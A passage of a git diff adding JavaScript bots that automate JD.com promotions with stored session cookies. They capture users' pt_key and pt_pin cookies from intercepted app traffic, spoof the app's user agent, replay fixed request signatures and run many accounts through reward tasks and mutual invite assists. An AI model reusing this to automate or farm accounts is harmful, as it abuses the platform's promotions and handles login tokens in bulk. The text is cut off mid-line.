(disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}md5=A}(this); diff --git a/jd_EsportsManager.js b/jd_EsportsManager.js new file mode 100644 index 0000000..08ee946 --- /dev/null +++ b/jd_EsportsManager.js @@ -0,0 +1,490 @@ +/** + 东东电竞经理:脚本更新地址 jd_EsportsManager.js + 更新时间:2021-06-20 + 活动入口:京东APP-东东农场-风车-电竞经理 + 活动链接:https://xinruidddj-isv.isvjcloud.com + [Script] + cron "20 0-23/2 * * *" script-path=jd_EsportsManager.js,tag=东东电竞经理 + 按顺序给第(Math.floor((index - 1) / 6) + 1)个账号助力 + 可能有BUG,但不会给别人号助力 + */ + +const $ = new Env('东东电竞经理'); +let cookiesArr = [], cookie = '', isBox = false, notify, newShareCodes, allMessage = ''; +let tasks = [], shareCodes = [], first = true; + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.shareCode = await makeShareCode(); + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await getIsvToken(); + await getIsvToken2(); + await getToken(); + + let r = await get_produce_coins(); + if (r !== 200) + continue + + await $.wait(2000); + await main(); + await $.wait(3000) + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + +async function main() { + tasks = await detail(); + for (let i = 0; i < tasks.length; i++) { + let product_info_vos = [] + let task_vos = tasks[i] + switch (task_vos.task_name) { + case '连签得金币': + if (task_vos.status === '1') + await do_task(task_vos.simple_record_info_vo.task_token, task_vos.task_id, task_vos.task_type) + continue + case '邀请好友助力': + await getShareCode(task_vos.assist_task_detail_vo.task_token) + await $.wait(2000) + + await getAssist() + await $.wait(2000) + + console.log(`第${$.index}个账号${$.UserName}去助力第${Math.floor(($.index - 1) / 6) + 1}个账号。`) + await doAssist() + continue + case '去浏览精彩会场': case '去关注特色频道' : + product_info_vos = task_vos['shopping_activity_vos'] + break + case '去关注优质好店': + product_info_vos = task_vos['follow_shop_vo'] + break + default: + "" + } + let taskId = task_vos.task_id, taskType = task_vos.task_type; + for (let t of product_info_vos) { + if (t.status === '1') { + console.log(`开始任务:${task_vos.task_name}`) + let res = await do_task(t.task_token, taskId, taskType) + await $.wait(1000) + } + } + } +} + +function getShareCode(token) { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/uc/user', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + shareCodes.push({ + 'tid': token, + 'uid': data.body.openid + }) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${shareCodes[$.index - 1].uid}\n`); + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doAssist() { + return new Promise(resolve => { + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_assist_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + }, + body: `token=${shareCodes[Math.floor(($.index - 1) / 6)].tid}&inviter=${Math.floor(($.index - 1) / 6).uid}` + }, (err, resp, data) => { + try { + data = $.toObj(data) + if (data.status === '0') { + console.log('助力成功') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAssist() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/today_assist?task_id=2&need_num=10', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + } + }, (err, resp, data) => { + try { + data = $.toObj(data) + console.log(`今日共收到${data.body.length}个助力`) + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934987178&sign=0877498be29cda51b9628fa0195f412f&sv=111', + body: `body=${escape('{"action":"to","to":"https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F3KSjXqQabiTuD1cJ28QskrpWoBKT%2Findex.html%3FbabelChannel%3D45%26collectionId%3D519"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934998790&sign=e571148c8dfb456a1795d249c6aa3956&sv=100', + body: `body=${escape('{"id":"","url":"https://xinruidddj-isv.isvjcloud.com"}')}`, + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruidddj-isv.isvjcloud.com/api/user/jd/auth', + body: `token=${$.token2}&source=01`, + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'Authorization': 'Bearer undefined', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Sec-Fetch-Mode': 'cors', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Sec-Fetch-Site': 'same-origin', + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/exception/?channel=DDLY&sid=fd5e44488241862af88cb40cbebf660w&un_area=12_904_3373_62101', + 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'Cookie': `IsvToken=${$.isvToken};` + }, + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data.body.access_token + console.log($.token) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function detail() { + return new Promise(resolve => { + $.get({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/detail', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + } + }, (err, resp, data) => { + if (!err) { + try { + resolve(JSON.parse(data).body.task_component.task_vos) + } catch (e) { + resolve("黑号") + } finally { + resolve([]) + } + } + }) + }) +} + +function do_task(token, id, type) { + return new Promise(resolve => { + // console.log(token, id, type) + $.post({ + url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_task', + headers: { + 'Host': 'xinruidddj-isv.isvjcloud.com', + 'Accept': 'application/json, text/plain, */*', + 'Authorization': `Bearer ${$.token}`, + 'Accept-Language': 'zh-cn', + 'Origin': 'https://xinruidddj-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', + }, + body: `token=${token}&task_id=${id}&task_type=${type}` + }, (err, resp, data) => { + try { + if (!err) { + data = JSON.parse(data) + if (data.status === '0') { + let result = data.body.result + console.log(`任务成功:本次获得 ${result.acquired_score},账户总额 ${result.user_score}`) + resolve(200); + } else { + console.log('任务失败!') + resolve(502) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +function makeShareCode() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=jdf_queryBothwayFriendsInfo', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 